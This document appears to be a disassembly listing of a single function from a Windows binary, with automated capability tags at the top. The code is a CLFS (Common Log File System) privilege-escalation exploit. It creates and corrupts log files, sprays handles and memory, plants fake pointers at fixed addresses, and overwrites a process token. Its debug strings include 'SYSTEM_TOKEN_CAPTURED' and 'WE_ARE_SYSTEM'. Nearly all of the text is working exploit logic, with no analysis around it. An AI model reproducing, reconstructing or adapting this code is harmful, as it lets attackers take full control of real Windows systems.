Function at 0x14000cf70
Capabilities:
Copy file
Get session user name
Make suspicious ntfscontrolfile call
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x3e0
mov rax, qword [0x1400520c0]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
xor ecx, ecx
call fcn.14000e1e0
mov ecx, eax
call fcn.14001f9dc
call fcn.14001f9b0
mov dword [0x140073284], eax
xor ecx, ecx
call fcn.14000c6b0
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x1400732c0]
mov qword [rdx + rcx], rax
xor ecx, ecx
call fcn.1400083b0
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x140073310]
mov qword [rdx + rcx], rax
xor ecx, ecx
call fcn.14000b680
mov ecx, 8
imul rcx, rcx, 0
lea rdx, [0x140073360]
mov qword [rdx + rcx], rax
mov eax, 8
imul rax, rax, 0
lea rcx, [0x1400732c0]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
mov rcx, qword [rcx + rax]
call qword [sym.imp.clfsw32.dll_CreateLogFile]
mov qword [0x140052030], rax
cmp qword [0x140052030], 0xffffffffffffffff
jne 0x14000d06c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa0], eax
mov edx, dword [rsp + 0xa0]
lea rcx, str.Could_not_create_LOGfile2__error:_0x_x_n
call fcn.14000e0e0
mov ecx, 0xffffffff
call fcn.14001f9a4
mov rcx, qword [0x140052030]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x50], 1
jmp 0x14000d08d
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xa
jge 0x14000d18a
mov ecx, dword [rsp + 0x50]
call fcn.14000c6b0
movsxd rcx, dword [rsp + 0x50]
lea rdx, [0x1400732c0]
mov qword [rdx + rcx*8], rax
mov ecx, dword [rsp + 0x50]
call fcn.1400083b0
movsxd rcx, dword [rsp + 0x50]
lea rdx, [0x140073310]
mov qword [rdx + rcx*8], rax
mov ecx, dword [rsp + 0x50]
call fcn.14000b680
movsxd rcx, dword [rsp + 0x50]
lea rdx, [0x140073360]
mov qword [rdx + rcx*8], rax
mov ecx, dword [rsp + 0x50]
call fcn.14000b680
mov qword [rsp + 0xc8], rax
xor ecx, ecx
call fcn.14000b680
mov r8d, 1
mov rcx, qword [rsp + 0xc8]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0xa4], eax
cmp dword [rsp + 0xa4], 0
jne 0x14000d150
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa8], eax
mov edx, dword [rsp + 0xa8]
lea rcx, str.copy_error:_0x_x_n
call fcn.14000e0e0
mov ecx, 0xffffffff
call fcn.14001f9a4
movsxd rax, dword [rsp + 0x50]
lea rcx, [0x140073360]
movsxd rdx, dword [rsp + 0x50]
mov qword [rsp + 0xd0], rdx
lea r8, [0x1400732c0]
mov rdx, qword [rcx + rax*8]
mov rax, qword [rsp + 0xd0]
mov rcx, qword [r8 + rax*8]
call fcn.14000bbf0
jmp 0x14000d083
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xd8], rax
mov edx, 1
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
mov ecx, 0x1a0
call fcn.14001f344
mov qword [0x1400733b8], rax
cmp qword [0x1400733b8], 0
jne 0x14000d1cd
xor ecx, ecx
call fcn.14001f9a4
mov r8d, 0x1a0
mov edx, 0x41
mov rcx, qword [0x1400733b8]
call fcn.14003b3a0
lea rax, [rsp + 0x120]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 0
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 1
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 2
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 3
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 4
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 5
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 6
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 7
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 8
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 9
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 0xa
mov qword [rsp + rcx + 0x120], rax
mov rax, qword [0x140073288]
add rax, 0x30
mov ecx, 8
imul rcx, rcx, 0xb
mov qword [rsp + rcx + 0x120], rax
mov dword [rsp + 0x64], 0x5000
mov dword [rsp + 0x6c], 0x4000
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x54], 0x50000
cmp dword [rsp + 0x5c], 0
je 0x14000d377
mov dword [rsp + 0x54], 0xffffffff
mov eax, dword [rsp + 0x54]
mov ecx, eax
call fcn.14001f344
mov qword [0x1400733c0], rax
cmp qword [0x1400733c0], 0
jne 0x14000d39a
xor ecx, ecx
call fcn.14001f9a4
mov rdx, qword [0x1400733c0]
mov ecx, 0x5000
call fcn.14000b860
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x54], 0x40000
cmp dword [rsp + 0x5c], 0
je 0x14000d3ca
mov dword [rsp + 0x54], 0xffffffff
mov eax, dword [rsp + 0x54]
mov ecx, eax
call fcn.14001f344
mov qword [0x1400733c8], rax
cmp qword [0x1400733c8], 0
jne 0x14000d3ed
xor ecx, ecx
call fcn.14001f9a4
mov rdx, qword [0x1400733c8]
mov ecx, 0x4000
call fcn.14000b860
mov rax, qword [0x1400733c0]
mov qword [rsp + 0x80], rax
mov rax, qword [0x1400733c8]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x80]
add rax, 8
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x100], 0
mov dword [rsp + 0x60], 0
jmp 0x14000d45d
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
cmp dword [rsp + 0x60], 0x5000
jge 0x14000d513
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x100]
mov r8d, 0x60
lea rdx, [rsp + 0x120]
mov rax, qword [rsp + 0xb8]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000d4fa
mov rax, qword [rsp + 0x80]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x80]
add rax, 0x10
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x64]
dec eax
mov dword [rsp + 0x64], eax
cmp dword [rsp + 0x64], 0
jne 0x14000d49f
mov ecx, 1
call fcn.14001f9a4
mov rax, qword [rsp + 0xb8]
add rax, 0x10
mov qword [rsp + 0xb8], rax
jmp 0x14000d453
mov rax, qword [rsp + 0x80]
add rax, 0x10000
mov qword [rsp + 0x88], rax
mov qword [rsp + 0xc0], 0x667
mov rax, qword [rsp + 0x88]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x88]
add rax, 0x50
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xc0]
dec rax
mov qword [rsp + 0xc0], rax
cmp qword [rsp + 0xc0], 0
jne 0x14000d535
lea rax, [0x1400732c0]
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x90], 0xa
mov qword [rsp + 0xf0], 0xa
lea rax, [rsp + 0x180]
mov rdi, rax
xor eax, eax
mov ecx, 0x50
rep stosb byte [rdi], al
mov dword [rsp + 0x68], 0
mov rax, qword [rsp + 0x90]
dec rax
mov qword [rsp + 0x90], rax
lea rax, [0x1400732c0]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
mov rcx, qword [rsp + 0x90]
mov rcx, qword [rax + rcx*8]
call qword [sym.imp.clfsw32.dll_CreateLogFile]
mov qword [0x140052028], rax
cmp qword [0x140052028], 0xffffffffffffffff
jne 0x14000d65b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xac], eax
mov edx, dword [rsp + 0xac]
lea rcx, str.Could_not_create_LOGfile3__error:_0x_x_n
call fcn.14000e0e0
mov ecx, 0xffffffff
call fcn.14001f9a4
movsxd rax, dword [rsp + 0x68]
mov rcx, qword [0x140052028]
mov qword [rsp + rax*8 + 0x180], rcx
mov eax, dword [rsp + 0x68]
inc eax
mov dword [rsp + 0x68], eax
cmp qword [rsp + 0x90], 0
jne 0x14000d5d6
mov dword [rsp + 0x70], 0x74
mov rax, qword [rsp + 0x78]
add rax, 8
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x100]
mov r8d, 0x60
lea rdx, [rsp + 0x120]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000d724
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x78]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rsp + 0x78]
add rax, 0x10
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x6c]
dec eax
mov dword [rsp + 0x6c], eax
cmp dword [rsp + 0x6c], 0
jne 0x14000d6d5
mov ecx, 1
call fcn.14001f9a4
mov rax, qword [rsp + 0x98]
add rax, 0x10
mov qword [rsp + 0x98], rax
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
cmp dword [rsp + 0x70], 0x4000
jl 0x14000d6a1
mov qword [rsp + 0x110], 0x200
mov dword [rsp + 0x58], 0
mov dword [rsp + 0xb0], 0
xor eax, eax
cmp eax, 1
je 0x14000d9f6
mov rax, qword [0x140053560]
mov qword [rsp + 0xf8], rax
lea rcx, str.TRIGGER_START_n
call fcn.14000e0e0
movsxd rax, dword [rsp + 0x58]
lea rcx, [0x140073310]
movsxd rdx, dword [rsp + 0x58]
mov qword [rsp + 0xe0], rdx
xor r9d, r9d
mov r8, qword [rcx + rax*8]
lea rdx, [rsp + 0x110]
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + rax*8 + 0x180]
call qword [sym.imp.clfsw32.dll_AddLogContainer]
mov dword [rsp + 0xb0], eax
mov qword [0x5000040], 0x5000000
mov qword [0x5000000], 0x5001000
mov rax, qword [0x1400534e8]
mov qword [0x5001000], rax
mov rax, qword [0x1400534d0]
mov qword [0x5001008], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001010], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001018], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001020], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001028], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001030], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001038], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001040], rax
mov rax, qword [0x1400534f0]
mov qword [0x5000068], rax
mov qword [0x5000048], 0x5000400
mov qword [0x5000400], 0x5001300
mov rax, qword [0x140053508]
add rax, 0x18
mov qword [0x5000448], rax
mov rax, qword [0x1400534e8]
mov qword [0x5001328], rax
mov rax, qword [0x1400534c8]
mov qword [0x5001308], rax
mov rcx, qword [0x140052028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0010000
mov rcx, qword [0x1400731d8]
call qword [sym.imp.clfsw32.dll_CreateLogFile]
mov qword [0x140052028], rax
mov dword [rsp + 0x104], 0x5a
mov dword [rsp + 0x48], 0x2000
mov rax, qword [0x140053560]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x104]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x110038
lea rax, [0x140053488]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140053570]
call qword [0x1400534c0]
mov eax, dword [0x1400731e8]
mov ecx, dword [0x140073210]
add ecx, eax
mov eax, ecx
mov dword [0x1400733d8], eax
mov eax, dword [0x1400733d8]
mov rcx, qword [0x140053560]
mov rax, qword [rax + rcx]
mov qword [0x140053580], rax
mov rdx, qword [0x140053580]
lea rcx, str.System_token_value:__p_n
call fcn.14000e0e0
mov eax, dword [0x1400733d8]
mov rcx, qword [0x140053560]
movabs rdx, 0x8181818181818181
cmp qword [rax + rcx], rdx
jb 0x14000d9db
lea rcx, str.SYSTEM_TOKEN_CAPTURED_n
call fcn.14000e0e0
jmp 0x14000d9f6
lea rcx, str.TRYING_AGAIN_n
call fcn.14000e0e0
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
jmp 0x14000d76f
mov eax, dword [0x1400733d8]
mov ecx, 0xffffffff
mov rdx, qword [0x140053560]
mov rax, qword [rax + rdx]
mov qword [rcx], rax
movabs rax, 0x100000007
mov rcx, qword [0x140053578]
mov qword [rax], rcx
movsxd rax, dword [0x1400731e8]
mov rcx, qword [0x140053460]
lea rax, [rcx + rax - 8]
mov qword [0x5000448], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0010000
mov rcx, qword [0x1400731d8]
call qword [sym.imp.clfsw32.dll_CreateLogFile]
mov eax, 0xffffffff
mov qword [rax], 0x1458
movabs rax, 0x100000007
mov qword [rax], 0x74
mov rax, qword [0x140073288]
add rax, 0x390
mov qword [0x5000448], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0010000
mov rcx, qword [0x1400731d8]
call qword [sym.imp.clfsw32.dll_CreateLogFile]
lea rcx, str.Closing_Handle_n
call fcn.14000e0e0
mov rcx, qword [0x140052028]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x108], 0x1f4
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x14000db38
lea rdx, str.ACTUAL_USER
lea rcx, [0x140073720]
call fcn.140001670
lea rdx, [rsp + 0x1d0]
mov rcx, rax
call fcn.140001670
lea rdx, [0x1400031c0]
mov rcx, rax
call fcn.140004d70
jmp 0x14000db78
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xb4], eax
lea rdx, str.Error:
lea rcx, [0x1400735f0]
call fcn.140001300
mov ecx, dword [rsp + 0xb4]
mov edx, ecx
mov rcx, rax
call fcn.140004b80
lea rdx, [0x140003170]
mov rcx, rax
call fcn.140004d70
lea rdx, str.SYSTEM
lea rcx, [rsp + 0x1d0]
call fcn.1400207b0
test eax, eax
jne 0x14000dbab
lea rcx, str.WE_ARE_SYSTEM_n
call fcn.14000e0e0
mov rcx, qword [rsp + 0x3f0]
call fcn.140020658
jmp 0x14000dbb7
lea rcx, str.NOT_SYSTEM_n
call fcn.14000e0e0
mov ecx, 1
call fcn.14001f9a4
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1400127c0
add rsp, 0x3e0
pop rdi
ret